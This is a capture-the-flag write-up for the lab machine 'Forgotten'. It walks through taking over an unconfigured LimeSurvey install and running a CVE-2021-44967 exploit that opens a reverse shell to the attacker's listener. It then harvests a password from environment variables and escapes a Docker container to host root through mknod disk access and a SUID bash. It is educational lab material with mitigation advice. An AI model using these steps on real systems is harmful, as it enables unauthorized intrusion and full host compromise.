Skip to main content
Forgotten (easy)

Forgotten (easy)

·2480 words·12 mins
Table of Contents

Overview
#

Forgotten is a very beginner friendly, easy machine which confronting us with a left over machine, where LimeSurvey was not fully configured. This leaves the opportunity to set it up with our own mysql database server, following in getting admin access. As admin we can install malicious php plugins, which gets us initial foothold. For privilege escalation we use credential harvesting techniques to escape the container via password reuse. Finally we get to root on the host via common docker abuse, when having a low privileged user on the host and being root in a container. There are multiple techniques possible, i’ll showcase two of them.

User
#

In nmap portscan we see only two ports open. SSH and a web server running Apache on 80:

sudo nscan 10.129.234.81

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_  256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.56
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.56 (Debian)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

As nmap told us we get an 403 on the root of the web server. Directory fuzzing reveals an survey endpoint:

feroxbuster -u 'http://10.129.234.81/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,bak,js,php
                                                                                                                          
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.129.234.81/
 🚩  In-Scope Url          β”‚ 10.129.234.81
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.13.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 πŸ”Ž  Extract Links         β”‚ true
 πŸ’²  Extensions            β”‚ [txt, bak, js, php]
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                             
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                             
301      GET        9l       28w      315c http://10.129.234.81/survey => http://10.129.234.81/survey/
302      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      321c http://10.129.234.81/survey/admin => http://10.129.234.81/survey/admin/
301      GET        9l       28w      323c http://10.129.234.81/survey/plugins => http://10.129.234.81/survey/plugins/
301      GET        9l       28w      323c http://10.129.234.81/survey/modules => http://10.129.234.81/survey/modules/
301      GET        9l       28w      319c http://10.129.234.81/survey/tmp => http://10.129.234.81/survey/tmp/
301      GET        9l       28w      322c http://10.129.234.81/survey/themes => http://10.129.234.81/survey/themes/

This endpoint shows LimeSurvey is in play and it isn’t yet fully configured:

forgotten1.png

Going through the installer shows it is on version 6.3.7:

forgotten2.png

As mysql is not configured we create an instance on our attackbox and point LimeSurvey to it (Note: you can also spin up a docker container to do this):

#install / start mariadb
sudo apt update
sudo apt install mariadb-server
#change bind address to address space of VPN interface or simply all 0.0.0.0
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
	bind-address            = 0.0.0.0
sudo service mariadb start

#login 
sudo mariadb
#create database
MariaDB [(none)]> CREATE DATABASE `limey` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
#add user with remnote access
CREATE USER 'lime'@'%' IDENTIFIED BY 'limE_1234';
#grant access to limey db
GRANT ALL PRIVILEGES ON limey.* TO 'lime'@'%';

Fill in your db connection details:

forgotten3.png

Connected successfully:

forgotten4.png

Create your admin login:

forgotten5.png

Login with your set password:

forgotten6.png

Having setup LimeSurvey and obtained admin rights, we can straight up install a malicious plugin which gives us RCE capabilities (https://github.com/D3Ext/CVE-2021-44967): The RCE is marked working on version 5.2.4. But this is when it is found out by a security researcher. The flaw is not patched, as it is stated NOTE: the Supplier's position is that plugins intentionally can contain arbitrary PHP code, and can only be installed by a superadmin, and therefore the security model is not violated by this finding. -> https://www.cvedetails.com/cve/CVE-2021-44967. The devil is in the detail :).

Exploit:

python CVE-2021-44967.py --url http://10.129.234.81/survey/ --user admin --password 'limE_1234' --lhost 10.10.14.96 --lport 9001
[+] CVE-2021-44967 - LimeSurvey Authenticated RCE

[+] URL: http://10.129.234.81/survey

[*] Creating malicious zip file...
  > Plugin name: zfshdfccyk

[*] Sending login request...
/home/kali/htb/forgotten/CVE-2021-44967/CVE-2021-44967.py:42: DeprecationWarning: Call to deprecated method findAll. (Replaced by find_all) -- Deprecated since version 4.0.0.
  csrf_token = s.findAll('input')[0].get("value")
[+] Successfully logged in as admin

[*] Uploading malicious plugin...
[+] The malicious plugin was successfully uploaded

[*] Installing uploaded plugin...
[+] The plugin was successfully installed

[*] Activating malicious plugin...
[+] Malicious plugin was successfully activated

[*] Triggering plugin by sending request to http://10.129.234.81/survey/upload/plugins/zfshdfccyk/php-rev.php
[+] Check your netcat listener!

Working first try!:

ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.234.81:43918.
Linux efaa6f5097ed 6.8.0-1033-aws #35~22.04.1-Ubuntu SMP Wed Jul 23 17:51:00 UTC 2025 x86_64 GNU/Linux
 14:31:23 up  2:09,  0 users,  load average: 3.52, 50.22, 42.89
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
/bin/sh: 0: can't access tty; job control turned off
$ 

It lands us in a docker container as limesvc:

limesvc@efaa6f5097ed:/$ id
uid=2000(limesvc) gid=2000(limesvc) groups=2000(limesvc),27(sudo)
limesvc@efaa6f5097ed:/$ ls -lha
total 336K
drwxr-xr-x   1 root root 4.0K Dec  2  2023 .
drwxr-xr-x   1 root root 4.0K Dec  2  2023 ..
-rwxr-xr-x   1 root root    0 Dec  2  2023 .dockerenv
drwxr-xr-x   1 root root 4.0K Dec  2  2023 bin
drwxr-xr-x   2 root root 4.0K Sep 29  2023 boot
drwxr-xr-x   5 root root  340 Nov 27 12:21 dev
drwxr-xr-x   1 root root 4.0K Dec  2  2023 etc
drwxr-xr-x   1 root root 4.0K Dec  2  2023 home
drwxr-xr-x   1 root root 4.0K Nov 21  2023 lib
drwxr-xr-x   2 root root 4.0K Nov 20  2023 lib64
drwxr-xr-x   2 root root 4.0K Nov 20  2023 media
drwxr-xr-x   2 root root 4.0K Nov 20  2023 mnt
drwxr-xr-x   2 root root 4.0K Nov 20  2023 opt                                                                            
dr-xr-xr-x 281 root root    0 Nov 27 12:21 proc                                                                           
drwx------   1 root root 4.0K Dec  2  2023 root                                                                           
drwxr-xr-x   1 root root 4.0K Nov 21  2023 run                                                                            
drwxr-xr-x   1 root root 4.0K Dec  2  2023 sbin                                                                           
drwxr-xr-x   2 root root 4.0K Nov 20  2023 srv                                                                            
dr-xr-xr-x  13 root root    0 Nov 27 12:21 sys                                                                            
drwxrwxrwt   1 root root 256K Nov 27 14:31 tmp                                                                            
drwxr-xr-x   1 root root 4.0K Nov 20  2023 usr                                                                            
drwxr-xr-x   1 root root 4.0K Nov 21  2023 var  

Environment credential harvesting:

limesvc@efaa6f5097ed:/$ env                                                                                               
HOSTNAME=efaa6f5097ed                                                                                                     
<SNIPPED>                                                                                                                 
LIMESURVEY_PASS=5W5HN4K4GCXf9E

This could also be the user password, lets try as we are in the sudo group:

limesvc@efaa6f5097ed:/$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for limesvc: 
Matching Defaults entries for limesvc on efaa6f5097ed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User limesvc may run the following commands on efaa6f5097ed:
    (ALL : ALL) ALL

limesvc@efaa6f5097ed:/$ sudo su
root@efaa6f5097ed:/# 

Let’s try the password via SSH:

ssh limesvc@10.129.234.81             
The authenticity of host '10.129.234.81 (10.129.234.81)' can not be established.
ED25519 key fingerprint is: SHA256:Dgu3MKOg2XUbjInyeAgQbBsHXIBePlc4jLIgssUKTt0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.234.81' (ED25519) to the list of known hosts.
(limesvc@10.129.234.81) Password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1033-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu Nov 27 14:41:05 UTC 2025

  System load:  0.0               Processes:             228
  Usage of /:   61.7% of 6.60GB   Users logged in:       0
  Memory usage: 14%               IPv4 address for eth0: 10.129.234.81
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

limesvc@forgotten:~$ 
limesvc@forgotten:~$ ll
total 32
drwxr-x--- 4 limesvc limesvc 4096 Aug 14 19:15 ./
drwxr-xr-x 4 root    root    4096 Dec  2  2023 ../
lrwxrwxrwx 1 root    root       9 Aug 14 19:15 .bash_history -> /dev/null
-rw-r--r-- 1 limesvc limesvc  220 Dec  2  2023 .bash_logout
-rw-r--r-- 1 limesvc limesvc 3771 Dec  2  2023 .bashrc
drwx------ 2 limesvc limesvc 4096 Dec  2  2023 .cache/
drwxrwxr-x 3 limesvc limesvc 4096 Dec  2  2023 .local/
-rw-r--r-- 1 limesvc limesvc  807 Dec  2  2023 .profile
-rw-r----- 1 root    limesvc   33 Nov 27 12:22 user.txt
limesvc@forgotten:~$ 

Password reuses worked, we get in and retrieve the user-flag.

Root
#

Path 1
#

There is a known privilege escalation path, if you get to root inside a container and a low privileged user on the host. Tough you need the MKNOD capability inside the container for it to work (which is the default). ippsec did a very well explanation in his video: https://www.youtube.com/watch?v=uUPj4Qj01-0&t=5180s

On host:

# find out what is the root partition of the file system
limesvc@forgotten:/$ lsblk
<SNIPPED>
sda       8:0    0     8G  0 disk 
β”œβ”€sda1    8:1    0   6.9G  0 part /
β”œβ”€sda2    8:2    0  1023M  0 part [SWAP]
β”œβ”€sda14   8:14   0     4M  0 part 
└─sda15   8:15   0   106M  0 part /boot/efi

We are interested in partition sda1.

In container:

# create a filesystem node with mknod as root user targeting the sda1 partition on 8:1
root@efaa6f5097ed:/# mknod sda1 b 8 1
# replicate the same user as in the host system (in this case it already got the same uid/gid)
root@efaa6f5097ed:/ cat /etc/passwd
limesvc:x:2000:2000::/home/limesvc:/bin/bash
# adding would be possible with:
echo "limesvc:x:2000:2000::/home/limesvc:/bin/bash" >> /etc/passwd
# switch to this user
su limesvc

On host:

# find the PID on this last opened bash shell
limesvc@forgotten:/$ ps -aux | grep bash
limesvc    22372  0.0  0.0   2444  1536 ?        S    14:36   0:00 script /dev/null -qc bash
limesvc    22373  0.0  0.0   2480  1280 pts/0    Ss   14:36   0:00 sh -c bash
limesvc    22374  0.0  0.0   4160  3456 pts/0    S    14:36   0:00 bash
root       22841  0.0  0.0   4160  3072 pts/0    S    14:39   0:00 bash
limesvc    23192  0.0  0.1   9192  5248 pts/0    Ss   14:41   0:00 -bash
limesvc    26333  0.0  0.0   4160  3328 pts/0    S+   15:01   0:00 bash
limesvc    26448  0.0  0.0   7008  2304 pts/0    S+   15:01   0:00 grep --color=auto bash
# enter the proc directory of this PID
limesvc@forgotten:/$ cd /proc/26333
# enter the root directory and find the whole filesystem of the host root partition in sda1
limesvc@forgotten:/proc/26333$ cd root
limesvc@forgotten:/proc/26333/root$ ls
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  sda1  srv  sys  tmp  usr  var

To access sda1 we need to use debugfs (optionally we can access it raw with strings or xxd):

limesvc@forgotten:/proc/26333/root$ debugfs sda1
debugfs:  cat /root/root.txt

We can read the root-flag! (and any other file on the filesystem).

Path 2
#

Another way to privilege escalate in this state is if a directory from the host is mounted inside the container. In our case we can easily see that /opt/limesurvey is mounted to /var/www/html/survey:

limesvc@forgotten:/opt/limesurvey$ ll
total 168
drwxr-xr-x  15 limesvc limesvc  4096 Nov 27 15:27 ./
drwxr-xr-x   4 root    root     4096 Dec  2  2023 ../
-rw-rw-r--   1 limesvc limesvc  1091 Nov 27  2023 .htaccess
-rw-rw-r--   1 limesvc limesvc 49474 Nov 27  2023 LICENSE
-rw-rw-r--   1 limesvc limesvc  2488 Nov 27  2023 README.md
-rw-rw-r--   1 limesvc limesvc   536 Nov 27  2023 SECURITY.md
drwxr-xr-x   2 limesvc limesvc  4096 Nov 27  2023 admin/
drwxr-xr-x  15 limesvc limesvc  4096 Nov 27  2023 application/
drwxr-xr-x  10 limesvc limesvc  4096 Nov 27  2023 assets/
drwxr-xr-x   7 limesvc limesvc  4096 Nov 27  2023 docs/
-rw-rw-r--   1 limesvc limesvc  8154 Nov 27  2023 gulpfile.js
-rw-rw-r--   1 limesvc limesvc  5564 Nov 27  2023 index.php
drwxr-xr-x   4 limesvc limesvc  4096 Nov 27  2023 installer/
drwxr-xr-x 120 limesvc limesvc  4096 Nov 27  2023 locale/
drwxr-xr-x   4 limesvc limesvc  4096 Nov 27  2023 modules/
drwxr-xr-x  23 limesvc limesvc  4096 Nov 27  2023 node_modules/
-rwxrwxr-x   1 limesvc limesvc  9672 Nov 27  2023 open-api-gen.php*
drwxr-xr-x   3 limesvc limesvc  4096 Nov 27  2023 plugins/
-rw-rw-r--   1 limesvc limesvc  2175 Nov 27  2023 psalm-all.xml
-rw-rw-r--   1 limesvc limesvc  1090 Nov 27  2023 psalm-strict.xml
-rw-rw-r--   1 limesvc limesvc  1074 Nov 27  2023 psalm.xml
-rw-rw-r--   1 limesvc limesvc  1684 Nov 27  2023 setdebug.php
drwxr-xr-x   5 limesvc limesvc  4096 Nov 27  2023 themes/
drwxr-xr-x   6 limesvc limesvc  4096 Nov 27 14:31 tmp/
drwxr-xr-x   9 limesvc limesvc  4096 Nov 27  2023 upload/
drwxr-xr-x  36 limesvc limesvc  4096 Nov 27  2023 vendor/
limesvc@efaa6f5097ed:/var/www/html/survey$ ls -lha
total 168K
drwxr-xr-x  15 limesvc  limesvc  4.0K Nov 27  2023 .
drwxrwxrwt   1 www-data www-data 4.0K Dec  2  2023 ..
-rw-rw-r--   1 limesvc  limesvc  1.1K Nov 27  2023 .htaccess
-rw-rw-r--   1 limesvc  limesvc   49K Nov 27  2023 LICENSE
-rw-rw-r--   1 limesvc  limesvc  2.5K Nov 27  2023 README.md
-rw-rw-r--   1 limesvc  limesvc   536 Nov 27  2023 SECURITY.md
drwxr-xr-x   2 limesvc  limesvc  4.0K Nov 27  2023 admin
drwxr-xr-x  15 limesvc  limesvc  4.0K Nov 27  2023 application
drwxr-xr-x  10 limesvc  limesvc  4.0K Nov 27  2023 assets
drwxr-xr-x   7 limesvc  limesvc  4.0K Nov 27  2023 docs
-rw-rw-r--   1 limesvc  limesvc  8.0K Nov 27  2023 gulpfile.js
-rw-rw-r--   1 limesvc  limesvc  5.5K Nov 27  2023 index.php
drwxr-xr-x   4 limesvc  limesvc  4.0K Nov 27  2023 installer
drwxr-xr-x 120 limesvc  limesvc  4.0K Nov 27  2023 locale
drwxr-xr-x   4 limesvc  limesvc  4.0K Nov 27  2023 modules
drwxr-xr-x  23 limesvc  limesvc  4.0K Nov 27  2023 node_modules
-rwxrwxr-x   1 limesvc  limesvc  9.5K Nov 27  2023 open-api-gen.php
drwxr-xr-x   3 limesvc  limesvc  4.0K Nov 27  2023 plugins
-rw-rw-r--   1 limesvc  limesvc  2.2K Nov 27  2023 psalm-all.xml
-rw-rw-r--   1 limesvc  limesvc  1.1K Nov 27  2023 psalm-strict.xml
-rw-rw-r--   1 limesvc  limesvc  1.1K Nov 27  2023 psalm.xml
-rw-rw-r--   1 limesvc  limesvc  1.7K Nov 27  2023 setdebug.php
drwxr-xr-x   5 limesvc  limesvc  4.0K Nov 27  2023 themes
drwxr-xr-x   6 limesvc  limesvc  4.0K Nov 27 14:31 tmp
drwxr-xr-x   9 limesvc  limesvc  4.0K Nov 27  2023 upload
drwxr-xr-x  36 limesvc  limesvc  4.0K Nov 27  2023 vendor

Now all that is left to do is copy bash into this directory on the host, give it SUID permissions and chown it as root in the container:

limesvc@forgotten:/opt/limesurvey$ cp /bin/bash .

In container:

root@efaa6f5097ed:/var/www/html/survey# chown root:root bash
root@efaa6f5097ed:/var/www/html/survey# chmod +s bash

Escalate:

limesvc@forgotten:/opt/limesurvey$ ll
<SNIPPED>
-rwsr-sr-x   1 root    root    1396520 Nov 27 15:28 bash*
<SNIPPED>

limesvc@forgotten:/opt/limesurvey$ ./bash -p
bash-5.1# id
uid=2000(limesvc) gid=2000(limesvc) euid=0(root) egid=0(root) groups=0(root),2000(limesvc)

Learning Points
#

  • Read CVE texts carefully. Maybe older ones are still valid, if they never were fixed from the vendor.
  • Always apply credentials harvesting inside a docker container. There are more than often juicy secrets waiting to get plucked.
  • Having obtained root level access inside a docker container and shell access on the host, can very often lead to root access on the host.

Mitigation Points
#

  • Don’t let any systems remotely access with unconfigured state.
  • Strengthen overall security by avoiding password reuses
  • There are options to hardening docker, by dropping capabilities like mknod:
    • docker run --cap-drop=MKNOD